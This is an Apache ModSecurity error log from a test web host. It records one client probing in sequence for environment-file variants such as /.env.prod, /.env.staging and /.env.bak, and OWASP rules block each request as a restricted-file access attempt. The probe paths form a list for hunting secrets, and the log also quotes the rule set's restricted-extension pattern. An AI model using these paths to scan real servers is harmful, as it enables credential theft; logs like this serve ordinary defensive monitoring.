[Sun Oct 26 01:24:53.332757 2025] [:error] [pid 3767666] [client 3.107.185.28:37518] [client 3.107.185.28] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.prod"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.prod"] [unique_id "aP1cRRXkZeq6T3EwQbX-iAAAAAY"], referer: https://www.google.com/
[Sun Oct 26 01:24:53.333025 2025] [:error] [pid 3767666] [client 3.107.185.28:37518] [client 3.107.185.28] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.prod"] [unique_id "aP1cRRXkZeq6T3EwQbX-iAAAAAY"], referer: https://www.google.com/
[Sun Oct 26 01:24:53.333234 2025] [:error] [pid 3767666] [client 3.107.185.28:37518] [client 3.107.185.28] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.prod"] [unique_id "aP1cRRXkZeq6T3EwQbX-iAAAAAY"], referer: https://www.google.com/
[Sun Oct 26 01:24:53.938576 2025] [:error] [pid 3767666] [client 3.107.185.28:37518] [client 3.107.185.28] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.staging"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.staging"] [unique_id "aP1cRRXkZeq6T3EwQbX-iQAAAAY"], referer: https://www.google.com/
[Sun Oct 26 01:24:53.938827 2025] [:error] [pid 3767666] [client 3.107.185.28:37518] [client 3.107.185.28] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.staging"] [unique_id "aP1cRRXkZeq6T3EwQbX-iQAAAAY"], referer: https://www.google.com/
[Sun Oct 26 01:24:53.939039 2025] [:error] [pid 3767666] [client 3.107.185.28:37518] [client 3.107.185.28] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.staging"] [unique_id "aP1cRRXkZeq6T3EwQbX-iQAAAAY"], referer: https://www.google.com/
[Sun Oct 26 01:24:54.544249 2025] [:error] [pid 3767666] [client 3.107.185.28:37518] [client 3.107.185.28] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.development"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.development"] [unique_id "aP1cRhXkZeq6T3EwQbX-igAAAAY"], referer: https://www.google.com/
[Sun Oct 26 01:24:54.544510 2025] [:error] [pid 3767666] [client 3.107.185.28:37518] [client 3.107.185.28] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.development"] [unique_id "aP1cRhXkZeq6T3EwQbX-igAAAAY"], referer: https://www.google.com/
[Sun Oct 26 01:24:54.544703 2025] [:error] [pid 3767666] [client 3.107.185.28:37518] [client 3.107.185.28] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.development"] [unique_id "aP1cRhXkZeq6T3EwQbX-igAAAAY"], referer: https://www.google.com/
[Sun Oct 26 01:24:55.150376 2025] [:error] [pid 3767666] [client 3.107.185.28:37518] [client 3.107.185.28] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.production"] [unique_id "aP1cRxXkZeq6T3EwQbX-iwAAAAY"], referer: https://www.google.com/
[Sun Oct 26 01:24:55.150640 2025] [:error] [pid 3767666] [client 3.107.185.28:37518] [client 3.107.185.28] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.production"] [unique_id "aP1cRxXkZeq6T3EwQbX-iwAAAAY"], referer: https://www.google.com/
[Sun Oct 26 01:24:55.150845 2025] [:error] [pid 3767666] [client 3.107.185.28:37518] [client 3.107.185.28] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.production"] [unique_id "aP1cRxXkZeq6T3EwQbX-iwAAAAY"], referer: https://www.google.com/
[Sun Oct 26 01:24:55.756719 2025] [:error] [pid 3767666] [client 3.107.185.28:37518] [client 3.107.185.28] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.test"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.test"] [unique_id "aP1cRxXkZeq6T3EwQbX-jAAAAAY"], referer: https://www.google.com/
[Sun Oct 26 01:24:55.757001 2025] [:error] [pid 3767666] [client 3.107.185.28:37518] [client 3.107.185.28] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.test"] [unique_id "aP1cRxXkZeq6T3EwQbX-jAAAAAY"], referer: https://www.google.com/
[Sun Oct 26 01:24:55.757200 2025] [:error] [pid 3767666] [client 3.107.185.28:37518] [client 3.107.185.28] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.test"] [unique_id "aP1cRxXkZeq6T3EwQbX-jAAAAAY"], referer: https://www.google.com/
[Sun Oct 26 01:24:56.363599 2025] [:error] [pid 3767666] [client 3.107.185.28:37518] [client 3.107.185.28] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.backup"] [unique_id "aP1cSBXkZeq6T3EwQbX-jQAAAAY"], referer: https://www.google.com/
[Sun Oct 26 01:24:56.363786 2025] [:error] [pid 3767666] [client 3.107.185.28:37518] [client 3.107.185.28] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.backup"] [unique_id "aP1cSBXkZeq6T3EwQbX-jQAAAAY"], referer: https://www.google.com/
[Sun Oct 26 01:24:56.364022 2025] [:error] [pid 3767666] [client 3.107.185.28:37518] [client 3.107.185.28] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.backup"] [unique_id "aP1cSBXkZeq6T3EwQbX-jQAAAAY"], referer: https://www.google.com/
[Sun Oct 26 01:24:56.364232 2025] [:error] [pid 3767666] [client 3.107.185.28:37518] [client 3.107.185.28] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.backup"] [unique_id "aP1cSBXkZeq6T3EwQbX-jQAAAAY"], referer: https://www.google.com/
[Sun Oct 26 01:24:56.970158 2025] [:error] [pid 3767666] [client 3.107.185.28:37518] [client 3.107.185.28] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.example"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.example"] [unique_id "aP1cSBXkZeq6T3EwQbX-jgAAAAY"], referer: https://www.google.com/
[Sun Oct 26 01:24:56.970477 2025] [:error] [pid 3767666] [client 3.107.185.28:37518] [client 3.107.185.28] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.example"] [unique_id "aP1cSBXkZeq6T3EwQbX-jgAAAAY"], referer: https://www.google.com/
[Sun Oct 26 01:24:56.970681 2025] [:error] [pid 3767666] [client 3.107.185.28:37518] [client 3.107.185.28] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.example"] [unique_id "aP1cSBXkZeq6T3EwQbX-jgAAAAY"], referer: https://www.google.com/
[Sun Oct 26 01:24:57.595313 2025] [:error] [pid 3767666] [client 3.107.185.28:37518] [client 3.107.185.28] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.sample"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.sample"] [unique_id "aP1cSRXkZeq6T3EwQbX-jwAAAAY"], referer: https://www.google.com/
[Sun Oct 26 01:24:57.595587 2025] [:error] [pid 3767666] [client 3.107.185.28:37518] [client 3.107.185.28] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.sample"] [unique_id "aP1cSRXkZeq6T3EwQbX-jwAAAAY"], referer: https://www.google.com/
[Sun Oct 26 01:24:57.595822 2025] [:error] [pid 3767666] [client 3.107.185.28:37518] [client 3.107.185.28] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.sample"] [unique_id "aP1cSRXkZeq6T3EwQbX-jwAAAAY"], referer: https://www.google.com/
[Sun Oct 26 01:24:58.202704 2025] [:error] [pid 3767666] [client 3.107.185.28:37518] [client 3.107.185.28] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.old"] [unique_id "aP1cShXkZeq6T3EwQbX-kAAAAAY"], referer: https://www.google.com/
[Sun Oct 26 01:24:58.202884 2025] [:error] [pid 3767666] [client 3.107.185.28:37518] [client 3.107.185.28] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.old"] [unique_id "aP1cShXkZeq6T3EwQbX-kAAAAAY"], referer: https://www.google.com/
[Sun Oct 26 01:24:58.203114 2025] [:error] [pid 3767666] [client 3.107.185.28:37518] [client 3.107.185.28] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.old"] [unique_id "aP1cShXkZeq6T3EwQbX-kAAAAAY"], referer: https://www.google.com/
[Sun Oct 26 01:24:58.203308 2025] [:error] [pid 3767666] [client 3.107.185.28:37518] [client 3.107.185.28] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.old"] [unique_id "aP1cShXkZeq6T3EwQbX-kAAAAAY"], referer: https://www.google.com/
[Sun Oct 26 01:24:58.825642 2025] [:error] [pid 3767666] [client 3.107.185.28:37518] [client 3.107.185.28] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.bak"] [unique_id "aP1cShXkZeq6T3EwQbX-kQAAAAY"], referer: https://www.google.com/
[Sun Oct 26 01:24:58.825855 2025] [:error] [pid 3767666] [client 3.107.185.28:37518] [client 3.107.185.28] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.bak"] [unique_id "aP1cShXkZeq6T3EwQbX-kQAAAAY"], referer: https://www.google.com/
[Sun Oct 26 01:24:58.826104 2025] [:error] [pid 3767666] [client 3.107.185.28:37518] [client 3.107.185.28] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.bak"] [unique_id "aP1cShXkZeq6T3EwQbX-kQAAAAY"], referer: https://www.google.com/
[Sun Oct 26 01:24:58.826310 2025] [:error] [pid 3767666] [client 3.107.185.28:37518] [client 3.107.185.28] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.bak"] [unique_id "aP1cShXkZeq6T3EwQbX-kQAAAAY"], referer: https://www.google.com/
[Sun Oct 26 01:24:59.431912 2025] [:error] [pid 3767666] [client 3.107.185.28:37518] [client 3.107.185.28] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.save"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.save"] [unique_id "aP1cSxXkZeq6T3EwQbX-kgAAAAY"], referer: https://www.google.com/
[Sun Oct 26 01:24:59.432174 2025] [:error] [pid 3767666] [client 3.107.185.28:37518] [client 3.107.185.28] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.save"] [unique_id "aP1cSxXkZeq6T3EwQbX-kgAAAAY"], referer: https://www.google.com/
[Sun Oct 26 01:24:59.432401 2025] [:error] [pid 3767666] [client 3.107.185.28:37518] [client 3.107.185.28] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.save"] [unique_id "aP1cSxXkZeq6T3EwQbX-kgAAAAY"], referer: https://www.google.com/
